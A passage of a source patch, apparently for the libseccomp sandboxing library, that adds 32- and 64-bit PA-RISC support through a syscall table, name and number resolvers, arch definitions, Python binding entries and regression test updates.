+/* NOTE: based on Linux 4.3 */
+const struct arch_syscall_def parisc_syscall_table[] = { \
+	{ "_llseek",	(__NR_Linux + 140) },
+	{ "_newselect",	(__NR_Linux + 142) },
+	{ "_sysctl",	(__NR_Linux + 149) },
+	{ "accept4",	(__NR_Linux + 320) },
+	{ "accept",	(__NR_Linux + 35) },
+	{ "access",	(__NR_Linux + 33) },
+	{ "acct",	(__NR_Linux + 51) },
+	{ "acl_get",	(__NR_Linux + 204) },
+	{ "acl_set",	(__NR_Linux + 205) },
+	{ "add_key",	(__NR_Linux + 264) },
+	{ "adjtimex",	(__NR_Linux + 124) },
+	{ "afs_syscall",	(__NR_Linux + 137) },
+	{ "alarm",	(__NR_Linux + 27) },
+	{ "alloc_hugepages",	(__NR_Linux + 220) },
+	{ "attrctl",	(__NR_Linux + 203) },
+	{ "bdflush",	(__NR_Linux + 134) },
+	{ "bind",	(__NR_Linux + 22) },
+	{ "bpf",	(__NR_Linux + 341) },
+	{ "brk",	(__NR_Linux + 45) },
+	{ "capget",	(__NR_Linux + 106) },
+	{ "capset",	(__NR_Linux + 107) },
+	{ "chdir",	(__NR_Linux + 12) },
+	{ "chmod",	(__NR_Linux + 15) },
+	{ "chown",	(__NR_Linux + 180) },
+	{ "chroot",	(__NR_Linux + 61) },
+	{ "clock_adjtime",	(__NR_Linux + 324) },
+	{ "clock_getres",	(__NR_Linux + 257) },
+	{ "clock_gettime",	(__NR_Linux + 256) },
+	{ "clock_nanosleep",	(__NR_Linux + 258) },
+	{ "clock_settime",	(__NR_Linux + 255) },
+	{ "clone",	(__NR_Linux + 120) },
+	{ "close",	(__NR_Linux + 6) },
+	{ "connect",	(__NR_Linux + 31) },
+	{ "create_module",	(__NR_Linux + 127) },
+	{ "creat",	(__NR_Linux + 8) },
+	{ "delete_module",	(__NR_Linux + 129) },
+	{ "dup2",	(__NR_Linux + 63) },
+	{ "dup3",	(__NR_Linux + 312) },
+	{ "dup",	(__NR_Linux + 41) },
+	{ "epoll_create1",	(__NR_Linux + 311) },
+	{ "epoll_create",	(__NR_Linux + 224) },
+	{ "epoll_ctl",	(__NR_Linux + 225) },
+	{ "epoll_pwait",	(__NR_Linux + 297) },
+	{ "epoll_wait",	(__NR_Linux + 226) },
+	{ "eventfd2",	(__NR_Linux + 310) },
+	{ "eventfd",	(__NR_Linux + 304) },
+	{ "execveat",	(__NR_Linux + 342) },
+	{ "execve",	(__NR_Linux + 11) },
+	{ "exit_group",	(__NR_Linux + 222) },
+	{ "exit",	(__NR_Linux + 1) },
+	{ "faccessat",	(__NR_Linux + 287) },
+	{ "fadvise64_64",	(__NR_Linux + 236) },
+	{ "fallocate",	(__NR_Linux + 305) },
+	{ "fanotify_init",	(__NR_Linux + 322) },
+	{ "fanotify_mark",	(__NR_Linux + 323) },
+	{ "fchdir",	(__NR_Linux + 133) },
+	{ "fchmodat",	(__NR_Linux + 286) },
+	{ "fchmod",	(__NR_Linux + 94) },
+	{ "fchownat",	(__NR_Linux + 278) },
+	{ "fchown",	(__NR_Linux + 95) },
+	{ "fcntl64",	(__NR_Linux + 202) },
+	{ "fcntl",	(__NR_Linux + 55) },
+	{ "fdatasync",	(__NR_Linux + 148) },
+	{ "fgetxattr",	(__NR_Linux + 243) },
+	{ "finit_module",	(__NR_Linux + 333) },
+	{ "flistxattr",	(__NR_Linux + 246) },
+	{ "flock",	(__NR_Linux + 143) },
+	{ "fork",	(__NR_Linux + 2) },
+	{ "free_hugepages",	(__NR_Linux + 221) },
+	{ "fremovexattr",	(__NR_Linux + 249) },
+	{ "fsetxattr",	(__NR_Linux + 240) },
+	{ "fstat64",	(__NR_Linux + 112) },
+	{ "fstatat64",	(__NR_Linux + 280) },
+	{ "fstatfs64",	(__NR_Linux + 299) },
+	{ "fstatfs",	(__NR_Linux + 100) },
+	{ "fstat",	(__NR_Linux + 28) },
+	{ "fsync",	(__NR_Linux + 118) },
+	{ "ftruncate64",	(__NR_Linux + 200) },
+	{ "ftruncate",	(__NR_Linux + 93) },
+	{ "futex",	(__NR_Linux + 210) },
+	{ "futimesat",	(__NR_Linux + 279) },
+	{ "getcpu",	(__NR_Linux + 296) },
+	{ "getcwd",	(__NR_Linux + 110) },
+	{ "getdents64",	(__NR_Linux + 201) },
+	{ "getdents",	(__NR_Linux + 141) },
+	{ "getegid",	(__NR_Linux + 50) },
+	{ "geteuid",	(__NR_Linux + 49) },
+	{ "getgid",	(__NR_Linux + 47) },
+	{ "getgroups",	(__NR_Linux + 80) },
+	{ "getitimer",	(__NR_Linux + 105) },
+	{ "get_kernel_syms",	(__NR_Linux + 130) },
+	{ "get_mempolicy",	(__NR_Linux + 261) },
+	{ "getpeername",	(__NR_Linux + 53) },
+	{ "getpgid",	(__NR_Linux + 132) },
+	{ "getpgrp",	(__NR_Linux + 65) },
+	{ "getpid",	(__NR_Linux + 20) },
+	{ "getpmsg",	(__NR_Linux + 196) },
+	{ "getppid",	(__NR_Linux + 64) },
+	{ "getpriority",	(__NR_Linux + 96) },
+	{ "getrandom",	(__NR_Linux + 339) },
+	{ "getresgid",	(__NR_Linux + 171) },
+	{ "getresuid",	(__NR_Linux + 165) },
+	{ "getrlimit",	(__NR_Linux + 76) },
+	{ "get_robust_list",	(__NR_Linux + 290) },
+	{ "getrusage",	(__NR_Linux + 77) },
+	{ "getsid",	(__NR_Linux + 147) },
+	{ "getsockname",	(__NR_Linux + 44) },
+	{ "getsockopt",	(__NR_Linux + 182) },
+	{ "get_thread_area",	(__NR_Linux + 214) },
+	{ "gettid",	(__NR_Linux + 206) },
+	{ "gettimeofday",	(__NR_Linux + 78) },
+	{ "getuid",	(__NR_Linux + 24) },
+	{ "getxattr",	(__NR_Linux + 241) },
+	{ "init_module",	(__NR_Linux + 128) },
+	{ "inotify_add_watch",	(__NR_Linux + 270) },
+	{ "inotify_init1",	(__NR_Linux + 314) },
+	{ "inotify_init",	(__NR_Linux + 269) },
+	{ "inotify_rm_watch",	(__NR_Linux + 271) },
+	{ "io_cancel",	(__NR_Linux + 219) },
+	{ "ioctl",	(__NR_Linux + 54) },
+	{ "io_destroy",	(__NR_Linux + 216) },
+	{ "io_getevents",	(__NR_Linux + 217) },
+	{ "ioprio_get",	(__NR_Linux + 268) },
+	{ "ioprio_set",	(__NR_Linux + 267) },
+	{ "io_setup",	(__NR_Linux + 215) },
+	{ "io_submit",	(__NR_Linux + 218) },
+	{ "kcmp",	(__NR_Linux + 332) },
+	{ "kexec_load",	(__NR_Linux + 300) },
+	{ "keyctl",	(__NR_Linux + 266) },
+	{ "kill",	(__NR_Linux + 37) },
+	{ "lchown",	(__NR_Linux + 16) },
+	{ "lgetxattr",	(__NR_Linux + 242) },
+	{ "linkat",	(__NR_Linux + 283) },
+	{ "link",	(__NR_Linux + 9) },
+	{ "listen",	(__NR_Linux + 32) },
+	{ "listxattr",	(__NR_Linux + 244) },
+	{ "llistxattr",	(__NR_Linux + 245) },
+	{ "lookup_dcookie",	(__NR_Linux + 223) },
+	{ "lremovexattr",	(__NR_Linux + 248) },
+	{ "lseek",	(__NR_Linux + 19) },
+	{ "lsetxattr",	(__NR_Linux + 239) },
+	{ "lstat64",	(__NR_Linux + 198) },
+	{ "lstat",	(__NR_Linux + 84) },
+	{ "madvise",	(__NR_Linux + 119) },
+	{ "mbind",	(__NR_Linux + 260) },
+	{ "memfd_create",	(__NR_Linux + 340) },
+	{ "migrate_pages",	(__NR_Linux + 272) },
+	{ "mincore",	(__NR_Linux + 72) },
+	{ "mkdirat",	(__NR_Linux + 276) },
+	{ "mkdir",	(__NR_Linux + 39) },
+	{ "mknodat",	(__NR_Linux + 277) },
+	{ "mknod",	(__NR_Linux + 14) },
+	{ "mlockall",	(__NR_Linux + 152) },
+	{ "mlock",	(__NR_Linux + 150) },
+	{ "mmap2",	(__NR_Linux + 89) },
+	{ "mmap",	(__NR_Linux + 90) },
+	{ "mount",	(__NR_Linux + 21) },
+	{ "move_pages",	(__NR_Linux + 295) },
+	{ "mprotect",	(__NR_Linux + 125) },
+	{ "mq_getsetattr",	(__NR_Linux + 234) },
+	{ "mq_notify",	(__NR_Linux + 233) },
+	{ "mq_open",	(__NR_Linux + 229) },
+	{ "mq_timedreceive",	(__NR_Linux + 232) },
+	{ "mq_timedsend",	(__NR_Linux + 231) },
+	{ "mq_unlink",	(__NR_Linux + 230) },
+	{ "mremap",	(__NR_Linux + 163) },
+	{ "msgctl",	(__NR_Linux + 191) },
+	{ "msgget",	(__NR_Linux + 190) },
+	{ "msgrcv",	(__NR_Linux + 189) },
+	{ "msgsnd",	(__NR_Linux + 188) },
+	{ "msync",	(__NR_Linux + 144) },
+	{ "munlockall",	(__NR_Linux + 153) },
+	{ "munlock",	(__NR_Linux + 151) },
+	{ "munmap",	(__NR_Linux + 91) },
+	{ "name_to_handle_at",	(__NR_Linux + 325) },
+	{ "nanosleep",	(__NR_Linux + 162) },
+	{ "nfsservctl",	(__NR_Linux + 169) },
+	{ "nice",	(__NR_Linux + 34) },
+	{ "openat",	(__NR_Linux + 275) },
+	{ "open_by_handle_at",	(__NR_Linux + 326) },
+	{ "open",	(__NR_Linux + 5) },
+	{ "pause",	(__NR_Linux + 29) },
+	{ "perf_event_open",	(__NR_Linux + 318) },
+	{ "personality",	(__NR_Linux + 136) },
+	{ "pipe2",	(__NR_Linux + 313) },
+	{ "pipe",	(__NR_Linux + 42) },
+	{ "pivot_root",	(__NR_Linux + 67) },
+	{ "poll",	(__NR_Linux + 168) },
+	{ "ppoll",	(__NR_Linux + 274) },
+	{ "prctl",	(__NR_Linux + 172) },
+	{ "pread64",	(__NR_Linux + 108) },
+	{ "preadv",	(__NR_Linux + 315) },
+	{ "prlimit64",	(__NR_Linux + 321) },
+	{ "process_vm_readv",	(__NR_Linux + 330) },
+	{ "process_vm_writev",	(__NR_Linux + 331) },
+	{ "pselect6",	(__NR_Linux + 273) },
+	{ "ptrace",	(__NR_Linux + 26) },
+	{ "putpmsg",	(__NR_Linux + 197) },
+	{ "pwrite64",	(__NR_Linux + 109) },
+	{ "pwritev",	(__NR_Linux + 316) },
+	{ "query_module",	(__NR_Linux + 167) },
+	{ "quotactl",	(__NR_Linux + 131) },
+	{ "readahead",	(__NR_Linux + 207) },
+	{ "readlinkat",	(__NR_Linux + 285) },
+	{ "readlink",	(__NR_Linux + 85) },
+	{ "read",	(__NR_Linux + 3) },
+	{ "readv",	(__NR_Linux + 145) },
+	{ "reboot",	(__NR_Linux + 88) },
+	{ "recvfrom",	(__NR_Linux + 123) },
+	{ "recvmmsg",	(__NR_Linux + 319) },
+	{ "recvmsg",	(__NR_Linux + 184) },
+	{ "recv",	(__NR_Linux + 98) },
+	{ "remap_file_pages",	(__NR_Linux + 227) },
+	{ "removexattr",	(__NR_Linux + 247) },
+	{ "renameat2",	(__NR_Linux + 337) },
+	{ "renameat",	(__NR_Linux + 282) },
+	{ "rename",	(__NR_Linux + 38) },
+	{ "request_key",	(__NR_Linux + 265) },
+	{ "restart_syscall",	(__NR_Linux + 0) },
+	{ "rmdir",	(__NR_Linux + 40) },
+	{ "rt_sigaction",	(__NR_Linux + 174) },
+	{ "rt_sigpending",	(__NR_Linux + 176) },
+	{ "rt_sigprocmask",	(__NR_Linux + 175) },
+	{ "rt_sigqueueinfo",	(__NR_Linux + 178) },
+	{ "rt_sigreturn",	(__NR_Linux + 173) },
+	{ "rt_sigsuspend",	(__NR_Linux + 179) },
+	{ "rt_sigtimedwait",	(__NR_Linux + 177) },
+	{ "rt_tgsigqueueinfo",	(__NR_Linux + 317) },
+	{ "sched_getaffinity",	(__NR_Linux + 212) },
+	{ "sched_getattr",	(__NR_Linux + 335) },
+	{ "sched_getparam",	(__NR_Linux + 155) },
+	{ "sched_get_priority_max",	(__NR_Linux + 159) },
+	{ "sched_get_priority_min",	(__NR_Linux + 160) },
+	{ "sched_getscheduler",	(__NR_Linux + 157) },
+	{ "sched_rr_get_interval",	(__NR_Linux + 161) },
+	{ "sched_setaffinity",	(__NR_Linux + 211) },
+	{ "sched_setattr",	(__NR_Linux + 334) },
+	{ "sched_setparam",	(__NR_Linux + 154) },
+	{ "sched_setscheduler",	(__NR_Linux + 156) },
+	{ "sched_yield",	(__NR_Linux + 158) },
+	{ "seccomp",	(__NR_Linux + 338) },
+	{ "semctl",	(__NR_Linux + 187) },
+	{ "semget",	(__NR_Linux + 186) },
+	{ "semop",	(__NR_Linux + 185) },
+	{ "semtimedop",	(__NR_Linux + 228) },
+	{ "sendfile64",	(__NR_Linux + 209) },
+	{ "sendfile",	(__NR_Linux + 122) },
+	{ "sendmmsg",	(__NR_Linux + 329) },
+	{ "sendmsg",	(__NR_Linux + 183) },
+	{ "send",	(__NR_Linux + 58) },
+	{ "sendto",	(__NR_Linux + 82) },
+	{ "setdomainname",	(__NR_Linux + 121) },
+	{ "setfsgid",	(__NR_Linux + 139) },
+	{ "setfsuid",	(__NR_Linux + 138) },
+	{ "setgid",	(__NR_Linux + 46) },
+	{ "setgroups",	(__NR_Linux + 81) },
+	{ "sethostname",	(__NR_Linux + 74) },
+	{ "setitimer",	(__NR_Linux + 104) },
+	{ "set_mempolicy",	(__NR_Linux + 262) },
+	{ "setns",	(__NR_Linux + 328) },
+	{ "setpgid",	(__NR_Linux + 57) },
+	{ "setpriority",	(__NR_Linux + 97) },
+	{ "setregid",	(__NR_Linux + 71) },
+	{ "setresgid",	(__NR_Linux + 170) },
+	{ "setresuid",	(__NR_Linux + 164) },
+	{ "setreuid",	(__NR_Linux + 70) },
+	{ "setrlimit",	(__NR_Linux + 75) },
+	{ "set_robust_list",	(__NR_Linux + 289) },
+	{ "setsid",	(__NR_Linux + 66) },
+	{ "setsockopt",	(__NR_Linux + 181) },
+	{ "set_thread_area",	(__NR_Linux + 213) },
+	{ "set_tid_address",	(__NR_Linux + 237) },
+	{ "settimeofday",	(__NR_Linux + 79) },
+	{ "setuid",	(__NR_Linux + 23) },
+	{ "setxattr",	(__NR_Linux + 238) },
+	{ "sgetmask",	(__NR_Linux + 68) },
+	{ "shmat",	(__NR_Linux + 192) },
+	{ "shmctl",	(__NR_Linux + 195) },
+	{ "shmdt",	(__NR_Linux + 193) },
+	{ "shmget",	(__NR_Linux + 194) },
+	{ "shutdown",	(__NR_Linux + 117) },
+	{ "sigaltstack",	(__NR_Linux + 166) },
+	{ "signalfd4",	(__NR_Linux + 309) },
+	{ "signalfd",	(__NR_Linux + 302) },
+	{ "signal",	(__NR_Linux + 48) },
+	{ "sigpending",	(__NR_Linux + 73) },
+	{ "sigprocmask",	(__NR_Linux + 126) },
+	{ "socket",	(__NR_Linux + 17) },
+	{ "socketpair",	(__NR_Linux + 56) },
+	{ "splice",	(__NR_Linux + 291) },
+	{ "ssetmask",	(__NR_Linux + 69) },
+	{ "stat64",	(__NR_Linux + 101) },
+	{ "statfs64",	(__NR_Linux + 298) },
+	{ "statfs",	(__NR_Linux + 99) },
+	{ "stat",	(__NR_Linux + 18) },
+	{ "stime",	(__NR_Linux + 25) },
+	{ "swapoff",	(__NR_Linux + 115) },
+	{ "swapon",	(__NR_Linux + 87) },
+	{ "symlinkat",	(__NR_Linux + 284) },
+	{ "symlink",	(__NR_Linux + 83) },
+	{ "sync_file_range",	(__NR_Linux + 292) },
+	{ "syncfs",	(__NR_Linux + 327) },
+	{ "sync",	(__NR_Linux + 36) },
+	{ "sysfs",	(__NR_Linux + 135) },
+	{ "sysmips",	__PNR_sysmips },
+	{ "sysinfo",	(__NR_Linux + 116) },
+	{ "syslog",	(__NR_Linux + 103) },
+	{ "tee",	(__NR_Linux + 293) },
+	{ "tgkill",	(__NR_Linux + 259) },
+	{ "time",	(__NR_Linux + 13) },
+	{ "timer_create",	(__NR_Linux + 250) },
+	{ "timer_delete",	(__NR_Linux + 254) },
+	{ "timerfd_create",	(__NR_Linux + 306) },
+	{ "timerfd_gettime",	(__NR_Linux + 308) },
+	{ "timerfd",	(__NR_Linux + 303) },
+	{ "timerfd_settime",	(__NR_Linux + 307) },
+	{ "timer_getoverrun",	(__NR_Linux + 253) },
+	{ "timer_gettime",	(__NR_Linux + 252) },
+	{ "timer_settime",	(__NR_Linux + 251) },
+	{ "times",	(__NR_Linux + 43) },
+	{ "tkill",	(__NR_Linux + 208) },
+	{ "truncate64",	(__NR_Linux + 199) },
+	{ "truncate",	(__NR_Linux + 92) },
+	{ "tuxcall",	__PNR_tuxcall },
+	{ "umask",	(__NR_Linux + 60) },
+	{ "umount2",	(__NR_Linux + 52) },
+	{ "uname",	(__NR_Linux + 59) },
+	{ "unlinkat",	(__NR_Linux + 281) },
+	{ "unlink",	(__NR_Linux + 10) },
+	{ "unshare",	(__NR_Linux + 288) },
+	{ "uselib",	(__NR_Linux + 86) },
+	{ "ustat",	(__NR_Linux + 62) },
+	{ "utime",	(__NR_Linux + 30) },
+	{ "utimensat",	(__NR_Linux + 301) },
+	{ "utimes",	(__NR_Linux + 336) },
+	{ "vfork",	(__NR_Linux + 113) },
+	{ "vhangup",	(__NR_Linux + 111) },
+	{ "vmsplice",	(__NR_Linux + 294) },
+	{ "vserver",	(__NR_Linux + 263) },
+	{ "wait4",	(__NR_Linux + 114) },
+	{ "waitid",	(__NR_Linux + 235) },
+	{ "waitpid",	(__NR_Linux + 7) },
+	{ "write",	(__NR_Linux + 4) },
+	{ "writev",	(__NR_Linux + 146) },
+	{ NULL, __NR_SCMP_ERROR },
+};
+
+/**
+ * Resolve a syscall name to a number
+ * @param name the syscall name
+ *
+ * Resolve the given syscall name to the syscall number using the syscall table.
+ * Returns the syscall number on success, including negative pseudo syscall
+ * numbers; returns __NR_SCMP_ERROR on failure.
+ *
+ */
+int parisc_syscall_resolve_name(const char *name)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].name != NULL; iter++) {
+		if (strcmp(name, table[iter].name) == 0)
+			return table[iter].num;
+	}
+
+	return __NR_SCMP_ERROR;
+}
+
+/**
+ * Resolve a syscall number to a name
+ * @param num the syscall number
+ *
+ * Resolve the given syscall number to the syscall name using the syscall table.
+ * Returns a pointer to the syscall name string on success, including pseudo
+ * syscall names; returns NULL on failure.
+ *
+ */
+const char *parisc_syscall_resolve_num(int num)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].num != __NR_SCMP_ERROR; iter++) {
+		if (num == table[iter].num)
+			return table[iter].name;
+	}
+
+	return NULL;
+}
+
+/**
+ * Iterate through the syscall table and return the syscall name
+ * @param spot the offset into the syscall table
+ *
+ * Return the syscall name at position @spot or NULL on failure.  This function
+ * should only ever be used internally by libseccomp.
+ *
+ */
+const char *parisc_syscall_iterate_name(unsigned int spot)
+{
+	/* XXX - no safety checks here */
+	return parisc_syscall_table[spot].name;
+}
diff --git a/src/arch-parisc.c b/src/arch-parisc.c
new file mode 100644
index 0000000..6407f8a
--- /dev/null
+++ b/src/arch-parisc.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc = {
+	.token = SCMP_ARCH_PARISC,
+	.token_bpf = AUDIT_ARCH_PARISC,
+	.size = ARCH_SIZE_32,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-parisc.h b/src/arch-parisc.h
new file mode 100644
index 0000000..b9fe1df
--- /dev/null
+++ b/src/arch-parisc.h
@@ -0,0 +1,38 @@
+/**
+ * Enhanced Seccomp PARISC Specific Code
+ *
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ *
+ */
+
+/*
+ * This library is free software; you can redistribute it and/or modify it
+ * under the terms of version 2.1 of the GNU Lesser General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License
+ * for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this library; if not, see <http://www.gnu.org/licenses>.
+ */
+
+#ifndef _ARCH_PARISC_H
+#define _ARCH_PARISC_H
+
+#include <inttypes.h>
+
+#include "arch.h"
+#include "system.h"
+
+extern const struct arch_def arch_def_parisc;
+extern const struct arch_def arch_def_parisc64;
+
+int parisc_syscall_resolve_name(const char *name);
+const char *parisc_syscall_resolve_num(int num);
+
+const char *parisc_syscall_iterate_name(unsigned int spot);
+
+#endif
diff --git a/src/arch-parisc64.c b/src/arch-parisc64.c
new file mode 100644
index 0000000..b75a182
--- /dev/null
+++ b/src/arch-parisc64.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+*/
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc64 = {
+	.token = SCMP_ARCH_PARISC64,
+	.token_bpf = AUDIT_ARCH_PARISC64,
+	.size = ARCH_SIZE_64,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-syscall-dump.c b/src/arch-syscall-dump.c
index 636fd9a..c95b899 100644
--- a/src/arch-syscall-dump.c
+++ b/src/arch-syscall-dump.c
@@ -38,6 +38,7 @@
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
 #include "arch-aarch64.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -116,6 +117,10 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			sys_name = mips64n32_syscall_iterate_name(iter);
 			break;
+		case SCMP_ARCH_PARISC:
+		case SCMP_ARCH_PARISC64:
+			sys_name = parisc_syscall_iterate_name(iter);
+			break;
 		case SCMP_ARCH_PPC:
 			sys_name = ppc_syscall_iterate_name(iter);
 			break;
diff --git a/src/arch.c b/src/arch.c
index 0f24d1c..f5a898d 100644
--- a/src/arch.c
+++ b/src/arch.c
@@ -38,6 +38,7 @@
 #include "arch-mips.h"
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -79,6 +80,10 @@ const struct arch_def *arch_def_native = &arch_def_mips64n32;
 #elif __MIPSEL__
 const struct arch_def *arch_def_native = &arch_def_mipsel64n32;
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__ /* hppa64 must be checked before hppa */
+const struct arch_def *arch_def_native = &arch_def_parisc64;
+#elif __hppa__
+const struct arch_def *arch_def_native = &arch_def_parisc;
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 const struct arch_def *arch_def_native = &arch_def_ppc64;
@@ -139,6 +144,10 @@ const struct arch_def *arch_def_lookup(uint32_t token)
 		return &arch_def_mips64n32;
 	case SCMP_ARCH_MIPSEL64N32:
 		return &arch_def_mipsel64n32;
+	case SCMP_ARCH_PARISC:
+		return &arch_def_parisc;
+	case SCMP_ARCH_PARISC64:
+		return &arch_def_parisc64;
 	case SCMP_ARCH_PPC:
 		return &arch_def_ppc;
 	case SCMP_ARCH_PPC64:
@@ -185,6 +194,10 @@ const struct arch_def *arch_def_lookup_name(const char *arch_name)
 		return &arch_def_mips64n32;
 	else if (strcmp(arch_name, "mipsel64n32") == 0)
 		return &arch_def_mipsel64n32;
+	else if (strcmp(arch_name, "parisc64") == 0)
+		return &arch_def_parisc64;
+	else if (strcmp(arch_name, "parisc") == 0)
+		return &arch_def_parisc;
 	else if (strcmp(arch_name, "ppc") == 0)
 		return &arch_def_ppc;
 	else if (strcmp(arch_name, "ppc64") == 0)
diff --git a/src/gen_pfc.c b/src/gen_pfc.c
index 99c3297..b9c122e 100644
--- a/src/gen_pfc.c
+++ b/src/gen_pfc.c
@@ -71,6 +71,10 @@ static const char *_pfc_arch(const struct arch_def *arch)
 		return "mips64n32";
 	case SCMP_ARCH_MIPSEL64N32:
 		return "mipsel64n32";
+	case SCMP_ARCH_PARISC:
+		return "parisc";
+	case SCMP_ARCH_PARISC64:
+		return "parisc64";
 	case SCMP_ARCH_PPC64:
 		return "ppc64";
 	case SCMP_ARCH_PPC64LE:
diff --git a/src/python/libseccomp.pxd b/src/python/libseccomp.pxd
index 15c94f8..500da15 100644
--- a/src/python/libseccomp.pxd
+++ b/src/python/libseccomp.pxd
@@ -43,6 +43,8 @@ cdef extern from "seccomp.h":
         SCMP_ARCH_MIPSEL
         SCMP_ARCH_MIPSEL64
         SCMP_ARCH_MIPSEL64N32
+        SCMP_ARCH_PARISC
+        SCMP_ARCH_PARISC64
         SCMP_ARCH_PPC
         SCMP_ARCH_PPC64
         SCMP_ARCH_PPC64LE
diff --git a/src/python/seccomp.pyx b/src/python/seccomp.pyx
index c87bc3f..cb17642 100644
--- a/src/python/seccomp.pyx
+++ b/src/python/seccomp.pyx
@@ -147,6 +147,8 @@ cdef class Arch:
     MIPSEL - MIPS little endian O32 ABI
     MIPSEL64 - MIPS little endian 64-bit ABI
     MIPSEL64N32 - MIPS little endian N32 ABI
+    PARISC - 32-bit PA-RISC
+    PARISC64 - 64-bit PA-RISC
     PPC64 - 64-bit PowerPC
     PPC - 32-bit PowerPC
     """
@@ -165,6 +167,8 @@ cdef class Arch:
     MIPSEL = libseccomp.SCMP_ARCH_MIPSEL
     MIPSEL64 = libseccomp.SCMP_ARCH_MIPSEL64
     MIPSEL64N32 = libseccomp.SCMP_ARCH_MIPSEL64N32
+    PARISC = libseccomp.SCMP_ARCH_PARISC
+    PARISC64 = libseccomp.SCMP_ARCH_PARISC64
     PPC = libseccomp.SCMP_ARCH_PPC
     PPC64 = libseccomp.SCMP_ARCH_PPC64
     PPC64LE = libseccomp.SCMP_ARCH_PPC64LE
@@ -205,6 +209,10 @@ cdef class Arch:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64
             elif arch == libseccomp.SCMP_ARCH_MIPSEL64N32:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64N32
+            elif arch == libseccomp.SCMP_ARCH_PARISC:
+                self._token = libseccomp.SCMP_ARCH_PARISC
+            elif arch == libseccomp.SCMP_ARCH_PARISC64:
+                self._token = libseccomp.SCMP_ARCH_PARISC64
             elif arch == libseccomp.SCMP_ARCH_PPC:
                 self._token = libseccomp.SCMP_ARCH_PPC
             elif arch == libseccomp.SCMP_ARCH_PPC64:
diff --git a/tests/26-sim-arch_all_be_basic.c b/tests/26-sim-arch_all_be_basic.c
index d2c191c..d31ce12 100644
--- a/tests/26-sim-arch_all_be_basic.c
+++ b/tests/26-sim-arch_all_be_basic.c
@@ -52,6 +52,12 @@ int main(int argc, char *argv[])
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("mips64n32"));
 	if (rc != 0)
 		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc"));
+	if (rc != 0)
+		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc64"));
+	if (rc != 0)
+		goto out;
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("ppc"));
 	if (rc != 0)
 		goto out;
diff --git a/tests/26-sim-arch_all_be_basic.py b/tests/26-sim-arch_all_be_basic.py
index b0b660a..3a177b4 100755
--- a/tests/26-sim-arch_all_be_basic.py
+++ b/tests/26-sim-arch_all_be_basic.py
@@ -33,6 +33,8 @@ def test(args):
     f.add_arch(Arch("mips"))
     f.add_arch(Arch("mips64"))
     f.add_arch(Arch("mips64n32"))
+    f.add_arch(Arch("parisc"))
+    f.add_arch(Arch("parisc64"))
     f.add_arch(Arch("ppc"))
     f.add_arch(Arch("ppc64"))
     f.add_arch(Arch("s390"))
diff --git a/tests/regression b/tests/regression
index 53d26b2..5949459 100755
--- a/tests/regression
+++ b/tests/regression
@@ -28,6 +28,7 @@ GLBL_ARCH_LE_SUPPORT=" \
 	ppc64le"
 GLBL_ARCH_BE_SUPPORT=" \
 	mips mips64 mips64n32 \
+	parisc parisc64 \
 	ppc ppc64 \
 	s390 s390x"
 
@@ -701,7 +702,7 @@ function run_test_live() {
 
 	# setup the arch specific return values
 	case "$arch" in
-	x86|x86_64|x32|arm|aarch64|ppc|ppc64|ppc64le|ppc|s390|s390x)
+	x86|x86_64|x32|arm|aarch64|parisc|parisc64|ppc|ppc64|ppc64le|ppc|s390|s390x)
 		rc_kill=159
 		rc_allow=160
 		rc_trap=161
diff --git a/tools/scmp_arch_detect.c b/tools/scmp_arch_detect.c
index 4b452d1..ad43f2d 100644
--- a/tools/scmp_arch_detect.c
+++ b/tools/scmp_arch_detect.c
@@ -99,6 +99,12 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			printf("mipsel64n32\n");
 			break;
+		case SCMP_ARCH_PARISC:
+			printf("parisc\n");
+			break;
+		case SCMP_ARCH_PARISC64:
+			printf("parisc64\n");
+			break;
 		case SCMP_ARCH_PPC:
 			printf("ppc\n");
 			break;
diff --git a/tools/scmp_bpf_sim.c b/tools/scmp_bpf_sim.c
index a0cf6d1..3d3204a 100644
--- a/tools/scmp_bpf_sim.c
